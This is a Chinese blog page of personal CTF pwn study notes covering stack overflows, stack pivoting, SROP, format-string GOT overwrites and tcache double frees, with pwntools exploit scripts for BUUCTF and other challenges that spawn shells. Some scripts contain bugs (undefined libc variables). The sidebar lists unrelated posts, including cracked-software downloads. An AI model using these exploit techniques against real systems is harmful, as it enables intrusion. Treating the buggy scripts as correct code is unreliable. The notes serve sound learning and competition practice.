Ubuntu18学习记录(持续更新中~~~)

新手友好!Ubuntu 18上BUUCTF PWN题‘RIP’的保姆级栈溢出通关攻略(附Python脚本) 本文提供Ubuntu 18环境下BUUCTF PWN题‘RIP’的64位栈溢出详细攻略,涵盖环境配置、IDA逆向分析、偏移量计算及Python利用脚本编写。通过实战演示栈溢出原理与利用技巧,帮助新手快速掌握二进制漏洞利用基础,特别适合CTF入门选手学习参考。 阅读详情

 

https://pwnable.kr/

https://w3challs.com/challenges/wargame

http://overthewire.org/wargames/

http://www.root-me.org

https://pwnable.tw/

http://wargame.kr/

https://pwnable.xyz/

https://ropemporium.com/

————————————————

版权声明:本文为优快云博主「GJQI12」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.youkuaiyun.com/GJQI12/article/details/105425458

利用 *$rebase(0x1231)进行调试时,要时gdb上下文显现,得让调试文本与远程程序的交互至少执行到断点的位置

RTLD_GLOBAL此共享对象定义的符号将可用于后续加载的共享对象的符号解析

c语言atoi函数的需要注意的地方:被转换的字符串中如果含有abcd等这样的不可见字符,那么会被截断,因为传给atol的参数会被遇见第一个不是0~9的字符所截断 从而返回之前的值,因此当输入的地址是以str形式输入时,不能以16进制形式输入,而应当以10进制形式输入,

而且chr的作用和p8效果相当。

exit函数执行流程,exit函数的调用流程exit函数--->run_exit_handlers函数--->_dl_fini函数---> rtld_lock_unlock_recursive指针

而查看rtld_lock_unlock_recursive指针 需要动态调试gdb.attach(p,’b*$rebase(,,,)’)

而后“p _rtld_global” 而后“ p &_rtld_global.,,,”

而且据说got.plt是可写的,只需要动态调试进入界面查看即可

一般调试到jmp plt处查看,而后vmmap查找第一个被加载的libc的地址,二者进行distance

bytes类型是指一堆字节的集合,在python中以b开头的字符串都是bytes类型

b'\xe5\xb0\x8f\xe7\x8c\xbf\xe5\x9c\x88' #b开头的都代表是bytes类型,是以16进制来显示的,2个16进制代表一个字节。 utf-8是3个字节代表一个中文,所以以上正好是9个字节

bytes类型的使用举例:

# sys_read

syscall = 0x4000BE

sigframe = SigreturnFrame()

sigframe.rax = 0

sigframe.rdi = 0

sigframe.rdx = 0x400

sigframe.rsi = stack_addr

sigframe.rsp = stack_addr

sigframe.rip = syscall

p2 = p64(main_addr) + p64(0) + bytes(sigframe)

r.send(p2)

360chunqiu2017_smallest

本题最关键的地方在于IDA内部汇编语言的理解

如上图,不论系统函数如何调用,实际上汇编代码里头只有retn才会使栈顶指针发生变化,而且retn里面的pop一次性只对以8个字节为一个小单位有效

[GKCTF 2021]checkin

对于本题的感悟,随着技术发展,2021年这个题似乎更倾向与pwn和其他方向相结合,比如和密码方向,更加的就算考验对汇编代码的理解,本题主要是栈溢出很有限8个字节,用来覆盖ebp,而后利用汇编代码两次leave +retn进行栈迁移,迁移后的最后一个p64:puts函数的地址更为巧妙,需要仔细分析汇编代码,才能控制执行流,巧妙返回可利用函数。从而再次分析前后汇编代码,进行onegadget覆盖函数返回地址。

mrctf2020_easyrop

本题关键之处在覆盖子函数返回地址时,输入点距离返回地址的偏移量问题:

p2 = b'a' * 0x12 + p64(shell)

关键在于上面式子的理解,

比较会骗人,在IDA上需要padiing的是0x318,但是上图可以看出,在输入了0x300后

再输入0x18的垃圾数据话多了6个字节。

离谱阿~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

cyclic 768用来生成重复数据

pwn题bbctf_2020_fmt_me

利用了安全函数snprintf,fgets:

p1=fmtstr_payload(offset,{atoi_:system_plt+6,system_got:main_})

这里修改为system+6是为了再次重定位

from os import system

from pwn import*

p=remote("node4.buuoj.cn",27058)

context(os="linux",arch="amd64",log_level="debug")

elf=ELF("./me")


 

atoi_=elf.got["atoi"]

system_got=elf.got["system"]

print(hex(system_got))

print("hello")

main_=elf.sym["main"]

print(main_)

#main_=0x4011f7

system_plt=elf.plt["system"]

offset=6

p.sendline("2")

p1=fmtstr_payload(offset,{atoi_:system_plt+6,system_got:main_})

p.recvuntil("gift.")

p.sendline(p1)

p.sendline("/bin/sh\x00")

p.interactive()

这里fmtstr_payload居然还可以用于修改64位下的got表地址

用于往某个地址里面输入值,这里是往got的地址对应空间输入值,使得函数的plt处指令直接jmp条转到地址(got表内的地址)对应处的指令开始执行

即strcpy只用于字符串复制,并且它不仅复制字符串内容之外,还会复制字符串的结束符;

由此可见‘\x61’就等价表示一个字符‘a’

ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi) 

这个p64是将0x开始的16进制数字转化成其ascii码对应的字符数字模式并且以‘\x,,’的形式显示,而其这里的’/bin//sh’居然可以双斜杠

def encode(s):
    res = ''
    for i in range(len(s)):
        res += chr(ord(s[i])^0x66)
    return res
ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi) # input /bin/sh
而s=ROP += p64(pop_rdi) + p64(bss) + p64(pop_rdx_rsi) + p64(0)*2 + p64(pop_rax) + p64(0x3B) + p64(syscall)
rop执行excve系统调用
由上面的函数可知:prd是将字符转成10进制ascii码值,异或计算完后再chr转化成字符进行拼接。chr,ord都是对一个字节进行操作


http://www.binaryconvert.com/convert_double.html此连接转换小数

太奇葩了,有时候if判断语句中的变量可以在IDA上的rodata三面查看













starctf2018_babystack的收获
以下是wp
# -*- coding: utf-8 -*-
from pwn import *


r = process("./221")
elf = ELF("./64/libc-2.27.so")

context.log_level = "debug"


pop_rdi = 0x400c03
pop_rsi_r15 = 0x400c01
leave_ret = 0x400955
base = elf.bss() + 0x500

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

payload = 'a' * 0x1010 + p64(base - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
#顺便做个栈迁移
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(base) + p64(0) + p64(read_plt)
#没必要改rdx

payload += p64(leave_ret)
payload = payload.ljust(0x2000, '\x0')

r.sendlineafter("send?\n", str(0x2000))
r.send(payload)

libc_addr = u64(r.recvuntil('\x7f')[-6: ].ljust(8, "\x00")) - libc.sym['puts']
one_gadget = libc_base + 0x4f322

r.send(p64(one_gadget))

r.interactive()


第一:加深了对栈迁移的理解,就是两次leave ;ret
而后这个迁移后要干的事情是执行指令,所以在迁移目的地应该放gadget或者指令地址。以便ret。而且一般栈迁移的地址要距离第一个被ret的地址8个字节




memset可以初始化内存的值





一步步理解sub_80486BB(*(char **)*(&ptr + a1), v3 + 1);
首先这个&ptr+a1就是一个bss空间前面的地址。*(&ptr + a1)就等于地址右边空间 的内容,char**指的是强制类型转成一个指向指针的指针变量,再加个*意思是*(&ptr + a1)就等于地址右边空间 的内容指向的空间的内容,就是地址右边的内容(这句话非常重要)


parseheap命令在gdbdbg好用

ciscn_2019_es_1 的做题感受:

第一个就是泄露libc相关地址:利用tcache的特性申请大于0x400的chunk,而后进行释放泄露。

第二个就是


 

根据上图:double free的利用:本题只是释放了内部chunk(name chunk),外部chunk并没有释放,exp中第一次add成功修改tache中的列表排列,使得chunk的fd指向free_hook相关区域,而后两次申请,根据,程序,中的代码要求及申请chunk的大小要求,此时free_hook相关区域大小就是0x20,所以优先被申请为外部chunk。?????本题理解仍然有问题,,,可能需要自己调试一遍才行,这样子纯推理是不行的


 


 


 


        
Ubuntu 18.04 常见问题(持续鸽鸽,不更了) ubuntu18.04LTS可靠源 给我校mirror站打个广告,我就是从这里下载的,校内速度无限快,校外可能稍慢一些。 http://mirrors.nju.edu.cn/ubuntu-releases/18.04/ 更新似乎很快呢,正式版也有了。 双系统或三系统Win10引导失败: 方案一:如果能进入ubuntu:尝试执行grub自动更新 sudo update-grub ... 阅读详情

相关推荐

Ubuntu开发环境配置——持续更新

本文简要介绍了Ubuntu下的开发环境配置流程和问题分析与解决,更多内容持续更新中。

m0_53365889的博客 2225

记一道简单的RIP覆盖的pwn(远程的话因为ubuntu18缘故所以栈需要对齐)

记一道BUUCTF简单的RIP覆盖的pwn 这个题目就是单纯的RIP覆盖 直接打开64位IDA 直接就有shell可以直接利用 然后就是算偏移了 直接用gdb-peda的工具算出偏移为23 直接上exp: from pwn import * p=remote('buuoj.cn',6001) system=0x401186 payload='a'*23+p64(system) p.sendl...

doudoudedi 2837

ubuntu18.04 配置turtlebot2环境时遇到的问题(updating.......)

                     (持续更新....) 1      缺少libusb 1.1 安装libusb 下载地址:https://www.intra2net.com/en/developer/libftdi/download.php(因为libuusb libftdi libconfuse是交叉编译的,所以一次全部安装) 安装libusb,全程用sudo权限 1)进入...

SimileciWH的博客 5510

BUUCTF rip 1

这是一题栈溢出,也提及了栈对齐操作

qq_56313338的博客 482

ubuntu18开机进入不了图形界面_ubuntu18.04开机闪烁无法进入图形界面

1.情况描述实验室电脑系统为ubuntu18.04,昨天晚上闲来无事,看到一个博客说可以用anaconda直接安装tensorflow-gpu,觉得这么神奇的吗?于是乎,自己建了一个虚拟环境,还真的很简单的就安上了,跟之前那复杂的方法形成了鲜明对比,顺带也安了nvidia-smi,用着一点事没有,结果今天早上打开台式机,瞬间懵逼了,开启界面持续不断跳pkcs#7 signature not sig...

weixin_30739835的博客 3519

ubuntu完全分布式系统搭建(持续更新)

由于在配置过程中遇到众多bug,特此开篇记录成功过程。提示:以下是本篇文章正文内容,下面案例可供参考。

gfdcbhhc的博客 827

buuctf-rip (1.2)

题目名称:rip (buuctf pwn 第1页)题目描述:略。

2401_87480233的博客 827

记录 | ubuntu1804上安装ripgrep

记录 | ubuntu18.04上安装ripgrep

极智视界 1286

Ubuntu18.04+ROS melodic 控制UR5机器人(持续更新)

这是一个需要用ROS系统控制UR5机器人的项目,此贴用来记录我苦逼的研究僧生活和学习踩坑的经历,需要借鉴的同道中人请进。。

weixin_37806591的博客 1万+

Ubuntu18.04怎样远程链接?

🏆本文收录于专栏,主要记录项目实战过程中所遇到的Bug或因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家!持续更新中,up!up!up!!

**My Coding Family** 1271

实战STM32G0驱动DRV8870/AT8870:PWM+DMA精准调速与H桥衰减模式详解

本文详细介绍了如何使用STM32G0单片机结合DRV8870/AT8870电机驱动芯片实现直流有刷电机的精准控制。重点讲解了PWM与DMA结合实现高效调速的硬件配置与软件驱动方法,并深入剖析了H桥快衰减与慢衰减模式的工作原理及应用场景,为嵌入式电机控制项目提供了完整的实战解决方案。

c7d8e9的博客 595

Ubuntu18.04 各种软件的安装(持续更新)

之前ubuntu安PCL的时候出了些问题,干脆连整个系统一起重装了,各种用的顺手的软件也得重新安装一次,因此写个博客记录以下,以防万一以后还要重装。 下面有很多东西都是其他博客或者

MWY123_的博客 3495

一文看懂—Agent多智能体协作

多智能体协作已成为AI应对复杂任务的关键范式,通过模拟人类团队分工,实现专业化、高效化和纠错能力。本文系统阐述了多智能体协作的核心概念(智能体分工、工作流编排、工具使用)、与产品规划的关联(任务拆解、错误处理、组织架构设计),以及典型应用场景(报告生成、客服工单、学习规划)。同时剖析了常见陷阱(循环卡死、信息失真、成本失控)及解决方案,并提供了实用工具模板(角色定义卡、工作流画布、成本仪表盘)。最后通过市场竞品分析和旅行规划两个实战案例,展示了多智能体协作的实际价值。该技术正推动AI从单点智能迈向系统智能,

lee006006的博客 1033

ubuntu18软件安装记录-持续更新

ubuntu18软件安装记录-持续更新

qq_38388813的博客 319

【过检测】2026调试级去虚拟化虚拟机成品

EternalBlaze调试级虚拟机是由恒烈开发的定制化VMware环境,适用于逆向工程、病毒分析等专业场景。该虚拟机基于Windows 10 1909专业版,预装Python/JDK等开发环境和逆向工具包,支持快照回溯功能。特色包括:一键去虚拟化方案、双机调试支持、驱动开发环境等。适用场景涵盖CTF竞赛、软件调试、病毒行为分析等,但不支持DX12游戏和视频盗录。使用前需按步骤关闭安全中心、安装特定VMware版本并执行去虚拟化操作。虚拟机提供基础版和逆向调试增强版两种配置,均预装必要工具链。(149字)

Heng_lie的博客 2670

温度实时检测预警系统(STC89C51RC+DS18B20)

温度实时检测预警系统

1 兴趣 2 实践 1496

ROS学习与踩坑记录(持续更新版)

ROS学习与踩坑记录(持续更新版)

博学而笃志,切问而近思。 3130

qcc304x笔记之手机端显示电量(九)

默认的sdk有些安卓手机不支持电量显示,所以需要加电量显示的补丁 流程分析 1. 首先新建一个task,并将task注册给电池模块 appBatteryRegister(batteryRegistrationForm) 实现handler处理函数,当battery模块电池电量更新后,会将电池百分比值发送到本模块,然后我们就可以在handler中将实时电量同步到手机端了。 hfpAtCmdInit atCmdTask.task.handler = appAtCmdHandleM...

在云巅的博客 2201

【ubuntu-18.04】系统安装

前提说明 作为一名嵌入式软件开发,在工作中经常会与 Linux 系统打交道,进行程序的交叉编译,所以 Linux 系统的安装成为了必修课。 与互联网开发人员钟爱 Centos 不同,嵌入式交叉编译,以海思为代表的芯片推荐使用 Ubuntu 系统,所以身边人员也基本都是在使用 Ubuntu。 Ubuntu 18.04 为 10年生命周期版本,而嵌入式开发基本不会用到桌面系统,当前选择服务器 64位版本进行安装。 下载地址:https://releases.ubuntu.com/18.04.6/ubuntu-

程序人生 1万+

分布式系统中的“无状态”和“有状态”详解

有状态服务,即服务端需要记录每次会话的客户端信息,从而识别客户端身份,根据用户身份进行请求的处理,典型的设计如 tomcat 中的 session。例如登录:用户登录后,我们把登录者的信息保存在服务端 session 中,并且给用户一个 cookie 值,记录对应的 session。然后下次请求,用户携带 cookie 值来,我们就能识别到对应 session,从而找到用户的信息。

AI天才研究院 2万+

论文阅读:NeurIPS 2024 JailbreakBench: An Open Robustness Benchmark for Jailbreaking Large Language Model

论文指出评估越狱攻击存在挑战,如缺乏评估标准、成本和成功率计算方法不一致、许多研究无法复现。为解决这些问题,作者提出了JailbreakBench,这是一个开源基准测试,包含以下组件:持续更新的越狱提示库(jailbreak artifacts)。包含100种行为的越狱数据集,符合OpenAI的使用政策。标准化的评估框架,包括威胁模型、系统提示、聊天模板和评分函数。跟踪各种LLMs攻击和防御性能的排行榜。

CSPhD-winston的博客 1433

DynaSLAM环境配置ubuntu 18.04 (持续更新中)

安装tensorflow-1.14.0版本时,我的电脑只能选择CPU的版本,所以安装GPU版本会出现很多问题,只有这个命令可用: pip install -i https://pypi.tuna.tsinghua.edu.cn/simple tensorflow==1.14.0

一棵小树的博客 2459

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

ros+gazebo学习(持续更新)

由于实习需要,开始学习ROS的东西 这篇博客主要是记录在ROS+gazebo学习中遇到的各种坑(掩面),希望能对一些也在该领域的同志提供一点小小帮助~~ 安装问题(gazebo+ros): 由于ros和gazebo本身是通过ros_gazebo_pkg包连接的,一般来说,安装时候直接安装ros--full版本即可,博主本人的平台是ubuntu18,官方发布的合适版本melodic,下面是安装步...

weixin_41575755的博客 3058

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Ubuntu16.04 配置记录(持续更新)

Ubuntu16.04 配置记录 1.安装中文输入法 https://www.cnblogs.com/darklights/p/7722861.html 2.修改终端命令行路径长度 https://blog.youkuaiyun.com/alex_equal/article/details/50081819 3.安装Clion https://blog.youkuaiyun.com/u010925447/articl...

Mr.Andy的博客 312

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

Win10+Ubuntu18.04双系统安装记录

Win10+Ubuntu18.04双系统安装硬件和安装准备准备工作正式安装安装常用软件总结 相当于自己安装学习Ubuntu,多次重装的记录 硬件和安装准备 电脑型号:华硕飞行堡垒FX80G 电脑配置:固态硬盘500G 机械硬盘1T 8+16G运行内存 安装系统:Ubuntu18.04 点击下载清华源iso文件 辅助程序:rufus 官网链接 Win+R打开CMD输入dxdiag可以查看电脑基本配置 任务管理器->性能->内存 可以查看内存条速度 本次安装适合UF 准备工作 1、首先制作启动盘

qq_45641456的博客 520
上一篇: Uuntu16 学习记录(持续更新中......)
下一篇: 第五届“强网”拟态防御之PWN1与近段时间对unlink的理解
Hvf0x
博客等级 码龄7年 10粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值